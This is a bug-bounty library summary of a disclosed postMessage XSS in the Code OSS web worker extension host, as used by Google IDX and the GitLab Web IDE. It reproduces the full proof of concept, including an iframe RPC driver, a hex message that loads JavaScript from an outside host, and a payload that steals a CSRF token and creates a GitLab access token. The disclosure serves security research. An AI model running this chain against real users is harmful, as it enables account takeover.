# XSS in Google IDX Workstation

Controllable parentOrigin param in Code OSS webWorkerExtensionHostIframe let attacker postMessage arbitrary RPC to the extension worker, loading and executing attacker JS in origin context.

- Payout: unconfirmed
- Severity: high
- Program: Google
- Found by: sudi
- Disclosed: 2025-07-02
- Write-up quality: 8/10
- Original: https://sudistark.github.io/2025/07/02/idx.html
- Library page: https://bugbountylibrary.com/r/blog%3Asudistark-github-io-2025-07-02-idx-html
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:nodejs technique:chained technique:source-review vuln:xss

**Target:** Code OSS webWorkerExtensionHostIframe.html (VSCode web worker extension host)
**Root cause:** The iframe reads parentOrigin from the query string and uses it as the postMessage origin check, so any attacker origin passes validation and can proxy arbitrary RPC messages to the extension worker, which then fetches and new Function()-executes attacker-controlled extension code.
**Steps:**
1. Load `webWorkerExtensionHostIframe.html?&VSCodeWebWorkerExtHostId=asdf&parentOrigin=https://attacker.tld` in an iframe from attacker page
2. Attacker page listens for the MessagePort the iframe posts back, then sends serialized RPC messages: `$startExtensionHost`, `$activateByEvent`, `$initializeWorkspace`, and a final message with `{"$mid":1,"path":"/gl/editor/include.js","scheme":"https","authority":"peo.si"}`
3. Adjust rpcId bytes and length prefixes to match the target instance's `_locals` index and message framing
4. Worker calls `$asBrowserUri`, fetches `https://peo.si/gl/editor/include.js`, and executes it via `new Function('module','exports','require',code)` in the target origin
**How found:** Read the disclosed GitLab Web IDE report, reproduced locally, then ported the PoC to IDX. Frame-ancestors blocked direct framing, so they shortened the payload from 700 to mere 10 postMessage data, logged worker RPC traffic via match-and-replace to a local server, and debugged rpcId mismatches and `myToRemove` property between instances until the fetch sink was reached.
**Exploitation:** Attacker hosts a page framing the vulnerable iframe with parentOrigin set to their origin, drives the RPC protocol to make the extension host fetch attacker JS, which runs in the target origin's worker context and can fetch same-origin pages (e.g. GitLab PAT settings), read CSRF tokens, and create API tokens.
**Escalation:** Chained with a same-origin XSS on any domain in the frame-ancestors allowlist (e.g. *.cloudworkstations.googleusercontent.com) to reach IDX; worker-context JS can read same-origin data and mint tokens.
**Insight:** When a postMessage origin check is sourced from a URL parameter, the iframe becomes an open RPC proxy; enumerate the RPC method table (`_locals`) per instance because rpcId indices differ, and patch length-prefixed framing bytes when swapping payload URIs.

## Proof of concept (copied exactly from the original report)

**PoC iframe with attacker-controlled parentOrigin**

```
<iframe src="https://gitlab.com/assets/webpack/gitlab-VSCode/0.0.1-dev-20240501001436/VSCode/out/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html?&VSCodeWebWorkerExtHostId=asdf&parentOrigin=https://peo.si"></iframe>
<script>
 // --- utils ---
 const decoder = new TextDecoder("utf-8")
 const decode = decoder.decode.bind(decoder)

 const encoder = new TextEncoder("utf-8")
 const encode = (str) => encoder.encode(str).buffer

 function hex2buf(hex) {
 hex = "0".repeat(hex.length % 2) + hex
 return new Uint8Array(hex.match(/[\da-f]{2}/gi).map(function (h) {
 return parseInt(h, 16)
 })).buffer
 }

 function buf2hex(buffer) {
 return [...new Uint8Array(buffer)].map(x => x.toString(16).padStart(2, '0')).join('');
 }

 async function fetch_text(...args) {
 const resp = await fetch(...args)
 return resp.text()
 }
 // --- end utils ---

 window.addEventListener("message", function add_port(e) {
 if (e.ports.length > 0) {
 window.removeEventListener("message", add_port)
 const port = e.ports[0]
 window.port = port
 port.onmessage = port_listener
 send_map()
 }
 })

 function send_map() {
 const map = new Map()
 const channel = new MessageChannel()
 map.set("gitlab.gitlab-web-ide", channel.port2)
 frames[0].postMessage({ "type": "VSCode.init", "data": map }, "*", [channel.port2])
 }

 let send_called = false
 function port_listener(e) {
 const rawmsg = e.data
 // console.log("%crecived: " + decode(rawmsg), "color: gray")

 if (!send_called && buf2hex(rawmsg) == "02") { // The message is an init message
 send_called = true
 send_everything()
 }
 }

 function sleep(ms) {
 return new Promise(resolve => {
 setTimeout(resolve, ms)
 })
 }
 async function send_everything() {
 const hex_lines = (await fetch_text("send_hex.txt")).split("\n")
 await sleep(100)
 for (hex of hex_lines) {
 const rawmsg = hex2buf(hex)
 // console.log("%csent: " + decode(rawmsg), "color: gray")
 port.postMessage(rawmsg)
 await sleep(5)
 }
 }
</script>
```

**Malicious extension JS exfiltrating CSRF token and creating PAT**

```
(function anonymous(module,exports,require
) {
console.dir("XSS in " + origin)
globalThis.fetch = WorkerGlobalScope.prototype.fetch.bind(globalThis) // restore original fetch

async function exploit() {
 const page_resp = await fetch("https://gitlab.com/-/user_settings/personal_access_tokens")
 const text = await page_resp.text()
 const csrf_token = text.match(/<meta name="csrf-token" content=".*?"/g)[0].split('"')[3]
 console.dir("Got csrf token: " + csrf_token)
 const token_resp = await fetch("https://gitlab.com/-/user_settings/personal_access_tokens", {
 method: "post",
 headers: {
 "X-Csrf-Token": csrf_token,
 "Content-Type": "application/x-www-form-urlencoded"
 },
 body: "personal_access_token%5Bname%5D=malicious%20token&personal_access_token%5Bexpires_at%5D=2025-05-04&personal_access_token%5Bscopes%5D%5B%5D=api&personal_access_token%5Bscopes%5D%5B%5D=read_api&personal_access_token%5Bscopes%5D%5B%5D=read_user&personal_access_token%5Bscopes%5D%5B%5D=create_runner&personal_access_token%5Bscopes%5D%5B%5D=k8s_proxy&personal_access_token%5Bscopes%5D%5B%5D=read_repository&personal_access_token%5Bscopes%5D%5B%5D=write_repository&personal_access_token%5Bscopes%5D%5B%5D=read_registry&personal_access_token%5Bscopes%5D%5B%5D=write_registry&personal_access_token%5Bscopes%5D%5B%5D=ai_features"
 })
 const token = (await token_resp.json()).new_token
 console.dir("Got token: " + token)
}

exploit()
//# sourceURL=https://gitlab.com/assets/webpack/gitlab-VSCode/0.0.1-dev-20240501001436/VSCode/extensions/gitlab-web-ide/main.js#VSCode-extension
})
```

**Hex-encoded postMessage loading attacker-controlled extension JS**

```
09000000110000004f7b22246d6964223a312c2270617468223a222f676c2f656469746f722f696e636c7564652e6a73222c22736368656d65223a226874747073222c22617574686f72697479223a2270656f2e7369227d
```

